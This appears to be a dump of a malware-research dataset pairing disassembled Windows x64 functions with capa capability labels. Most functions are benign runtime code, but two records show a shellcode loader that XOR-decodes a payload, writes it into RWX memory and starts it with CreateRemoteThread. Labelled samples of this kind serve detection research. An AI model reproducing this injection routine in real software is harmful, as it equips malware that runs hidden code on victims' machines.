joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001046
Capabilities:
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140001418
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rdi
sub rsp, 0x3e0
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rsp + 0x3d0], rax
lea rcx, [0x14000d00f]
call fcn.1400011bd
mov eax, 6
lea rcx, [rsp + 0x50]
lea rdx, [0x140008bb0]
lea r8d, [rax + 0x7a]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rdx + 0x70]
add rdx, r8
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x14000145d
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x70]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [rdx + 0x7c]
mov word [rcx + 0x7c], ax
mov al, byte [rdx + 0x7e]
mov byte [rcx + 0x7e], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [str.laoxin]
xor ebx, ebx
mov dword [rsp + 0x40], ecx
mov rdi, rax
movzx ecx, word [0x140008fe8]
mov ebp, 0x37f
mov word [rsp + 0x44], cx
mov cl, byte [0x140008fea]
mov byte [rsp + 0x46], cl
lea rcx, [rsp + 0x40]
call sub.ucrtbased.dll_strlen
mov rcx, rax
xor edx, edx
mov rax, rbx
div rcx
mov al, byte [rsp + rdx + 0x40]
xor byte [rsp + rbx + 0x50], al
inc rbx
cmp rbx, rbp
jb 0x140001539
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8, rbp
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
and qword [rsp + 0x20], 0
lea r8, [rsp + 0x50]
mov rdx, rax
mov r9, rbp
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
and qword [rsp + 0x30], 0
mov r9, rbx
and dword [rsp + 0x28], 0
xor r8d, r8d
and qword [rsp + 0x20], 0
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x3d0]
xor rcx, rsp
call fcn.1400010eb
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140001109
Capabilities:
Terminate process

Disassembly:
jmp 0x140001d10
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140001140
Capabilities:
Parse pe header

Disassembly:
jmp 0x140003070
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140003090
xor al, al
jmp 0x140003111
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400030a3
xor al, al
jmp 0x140003111
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400030cd
xor al, al
jmp 0x140003111
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400030e1
xor al, al
jmp 0x140003111
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400030f3
xor al, al
jmp 0x140003111
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14000310f
xor al, al
jmp 0x140003111
mov al, 1
add rsp, 0x38
ret
Function at 0x140001418
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140001418
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rdi
sub rsp, 0x3e0
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rsp + 0x3d0], rax
lea rcx, [0x14000d00f]
call fcn.1400011bd
mov eax, 6
lea rcx, [rsp + 0x50]
lea rdx, [0x140008bb0]
lea r8d, [rax + 0x7a]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rdx + 0x70]
add rdx, r8
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x14000145d
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x70]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [rdx + 0x7c]
mov word [rcx + 0x7c], ax
mov al, byte [rdx + 0x7e]
mov byte [rcx + 0x7e], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [str.laoxin]
xor ebx, ebx
mov dword [rsp + 0x40], ecx
mov rdi, rax
movzx ecx, word [0x140008fe8]
mov ebp, 0x37f
mov word [rsp + 0x44], cx
mov cl, byte [0x140008fea]
mov byte [rsp + 0x46], cl
lea rcx, [rsp + 0x40]
call sub.ucrtbased.dll_strlen
mov rcx, rax
xor edx, edx
mov rax, rbx
div rcx
mov al, byte [rsp + rdx + 0x40]
xor byte [rsp + rbx + 0x50], al
inc rbx
cmp rbx, rbp
jb 0x140001539
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8, rbp
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
and qword [rsp + 0x20], 0
lea r8, [rsp + 0x50]
mov rdx, rax
mov r9, rbp
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
and qword [rsp + 0x30], 0
mov r9, rbx
and dword [rsp + 0x28], 0
xor r8d, r8d
and qword [rsp + 0x20], 0
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x3d0]
xor rcx, rsp
call fcn.1400010eb
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x2fc5d34a0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc5d3ea2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc5f5108]
test eax, eax
je 0x2fc5d3f3a
lea rax, [0x2fc5f50e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc5f5110]
mov qword [rbp - 8], rax
jmp 0x2fc5d3f1e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc5d3f12
cmp qword [rbp - 0x10], 0
je 0x2fc5d3f12
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc5d3ed8
lea rax, [0x2fc5f50e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc5d3f3b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc5d4040
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc5d4068
mov eax, 0
jmp 0x2fc5d40b6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc5d4091
mov eax, 0
jmp 0x2fc5d40b6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc5d40b1
mov eax, 0
jmp 0x2fc5d40b6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc5d40bc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc5d413a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc5d4131
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc5d4131
mov rax, qword [rbp - 8]
jmp 0x2fc5d414f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc5d4104
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140012c70
Capabilities:
Check if file exists
Get file attributes
Terminate process

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm8
movaps xmmword [rsp + 0x70], xmm7
movaps xmmword [rsp + 0x60], xmm6
mov rax, qword [0x140036008]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rcx, qword [0x14003aab8]
test rcx, rcx
je 0x140012cda
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x140012ccd
mov rcx, qword [0x14003aab8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [0x14003aab8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x14003d2d0], 1
jne 0x140012d87
mov rbx, qword [0x14002abe0]
mov qword [rsp + 0x50], rbx
movups xmm6, xmmword [0x14002abd0]
movaps xmmword [rsp + 0x40], xmm6
movups xmm7, xmmword [0x14002abc0]
movaps xmmword [rsp + 0x30], xmm7
movups xmm8, xmmword [0x14002abb0]
movaps xmmword [rsp + 0x20], xmm8
lea rsi, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebp, 0x14
lea rdi, [0x14003aad0]
mov r14, qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov r15, qword [sym.imp.KERNEL32.dll_Sleep]
mov r12, qword [sym.imp.SHELL32.dll_SHFileOperationW]
nop dword [rax + rax]
mov rcx, rdi
call r14
cmp eax, 0xffffffff
je 0x140012d87
and eax, 0x10
je 0x140012d87
mov ecx, 0x64
call r15
mov qword [rsp + 0x50], rbx
movaps xmmword [rsp + 0x40], xmm6
movaps xmmword [rsp + 0x30], xmm7
movaps xmmword [rsp + 0x20], xmm8
mov rcx, rsi
call r12
dec ebp
jne 0x140012d50
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140014190
movaps xmm6, xmmword [rsp + 0x60]
movaps xmm7, xmmword [rsp + 0x70]
movaps xmm8, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x140013fd0
Capabilities:
Create directory

Disassembly:
push rsi
push rdi
push rbx
mov eax, 0x2030
call fcn.140014130
sub rsp, rax
mov rsi, rcx
mov rax, qword [0x140036008]
xor rax, rsp
mov qword [rsp + 0x2028], rax
mov eax, dword [0x14003aac0]
test eax, eax
je 0x140014005
test eax, eax
jg 0x14001404d
jmp 0x140014082
lea rdx, str._HOME_
lea rcx, [rsp + 0x20]
mov r8d, 0x1000
call fcn.1400124d0
test al, al
je 0x14001410a
lea rcx, [rsp + 0x20]
call fcn.14001ac80
movsxd rcx, dword [0x14003aac0]
lea rdx, [0x140047b30]
mov qword [rdx + rcx*8], rax
lea eax, [rcx + 1]
mov dword [0x14003aac0], eax
test eax, eax
jle 0x140014082
lea rdi, [0x140047b30]
xor ebx, ebx
nop word cs:[rax + rax]
mov rdx, qword [rdi]
mov rcx, rsi
call fcn.14001b8c0
test eax, eax
je 0x1400140eb
inc rbx
movsxd rax, dword [0x14003aac0]
add rdi, 8
cmp rbx, rax
jl 0x140014060
mov rcx, rsi
call fcn.14001b8f8
cmp rax, 2
jne 0x140014099
mov bl, 1
cmp word [rsi + 2], 0x3a
je 0x1400140ed
mov rcx, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov bl, 1
test eax, eax
jne 0x1400140b8
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
sete bl
test bl, bl
je 0x1400140ed
cmp dword [0x14003aac0], 0x3ff
jg 0x1400140ed
mov rcx, rsi
call fcn.14001ac80
movsxd rcx, dword [0x14003aac0]
lea rdx, [0x140047b30]
mov qword [rdx + rcx*8], rax
lea eax, [rcx + 1]
mov dword [0x14003aac0], eax
mov bl, 1
mov rcx, qword [rsp + 0x2028]
xor rcx, rsp
call fcn.140014190
mov eax, ebx
add rsp, 0x2030
pop rbx
pop rdi
pop rsi
ret
lea rcx, str._HOME_
call fcn.1400134c0
int3

Function at 0x140014910
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001495a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001495a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001495a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001495a
cmp dword [rcx + 0x84], 0xe
jbe 0x14001495a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001495c
xor al, al
add rsp, 0x28
ret
Function at 0x140019a40
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140019b94
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140019c03
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140019c03
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140019c03
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140019c03
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140019c03
cmp dword [rcx + 0x84], 0xe
jbe 0x140019c03
cmp dword [rcx + 0xf8], 0
je 0x140019c03
mov ecx, ebx
call fcn.140019ac0
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140019d28
nop
cmp dword [rbp + 0x20], 0
je 0x140019c51
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140019b60
int3

Function at 0x14001bd80
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001bda8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001bda8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140021688
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14002170f
mov rsi, rbx
cmp word [rax], bp
je 0x1400216ce
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400216b8
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400216b4
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14001eb28
mov rdi, rax
test rax, rax
je 0x1400216fc
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140015160
mov rbp, rdi
xor ecx, ecx
call fcn.14001dbe8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180016177
Capabilities:
Write file on windows

Disassembly:
jmp 0x18003c0c0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x18005d010]
call fcn.180016e79
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x18003c117
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x18003c223
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x18003c1bc
cmp qword [rbp + 0x28], 0
jle 0x18003c1bc
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x18003c15c
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.180016dc0
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x18003c212
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x18003c212
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x1800162cb
Capabilities:
Create thread

Disassembly:
jmp 0x18003c760
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
mov rax, qword [0x180054018]
xor rax, rbp
mov qword [rbp + 0x120], rax
lea rcx, [0x18005d031]
call fcn.180016e79
mov edx, 8
lea rcx, [rbp + 8]
call fcn.18001642e
mov rdx, qword [rbp + 0x158]
lea rcx, [rbp + 0x108]
call fcn.18001671c
mov qword [rbp + 0x118], rax
mov rdx, qword [rbp + 0x118]
lea rcx, [rbp + 8]
call fcn.180016311
nop
lea rcx, [rbp + 0x108]
call fcn.1800165a0
lea rax, [0x18001699c]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x150]
add rax, 8
mov qword [rbp + 0x118], rax
lea rcx, [rbp + 8]
call fcn.1800169e7
mov rcx, qword [rbp + 0x118]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll__beginthreadex]
mov rcx, qword [rbp + 0x150]
mov qword [rcx], rax
mov rax, qword [rbp + 0x150]
cmp qword [rax], 0
je 0x18003c860
lea rcx, [rbp + 8]
call fcn.1800165eb
jmp 0x18003c879
mov rax, qword [rbp + 0x150]
mov dword [rax + 8], 0
mov ecx, 6
call fcn.180016343
nop
lea rcx, [rbp + 8]
call fcn.1800165a0
lea rcx, [rbp - 0x30]
lea rdx, [0x18004cff0]
call fcn.180016bf4
mov rcx, qword [rbp + 0x120]
xor rcx, rbp
call fcn.1800166e0
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret
Function at 0x18001681b
Capabilities:
Terminate process

Disassembly:
jmp 0x18003e3c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x180016979
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x180034fc0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x198
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1b8]
mov rax, qword [0x180054018]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x18005d021]
call fcn.180016e79
lea rax, [rbp + 8]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rax, [rbp + 8]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x28]
add rax, 8
mov qword [rbp + 0x68], rax
jmp 0x18003504c
mov rax, qword [rbp + 0x48]
inc rax
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x68]
cmp qword [rbp + 0x48], rax
je 0x18003508b
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x188]
and rax, 0xff
mov rcx, qword [rbp + 0x88]
mov byte [rcx], al
mov rax, qword [rbp + 0x188]
shr rax, 8
mov qword [rbp + 0x188], rax
jmp 0x180035041
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x190]
lea r8, [rbp + 8]
mov rdx, qword [rbp + 0x180]
mov rcx, qword [0x180054710]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, [rbp - 0x30]
lea rdx, [0x180049880]
call fcn.180016bf4
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.1800166e0
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret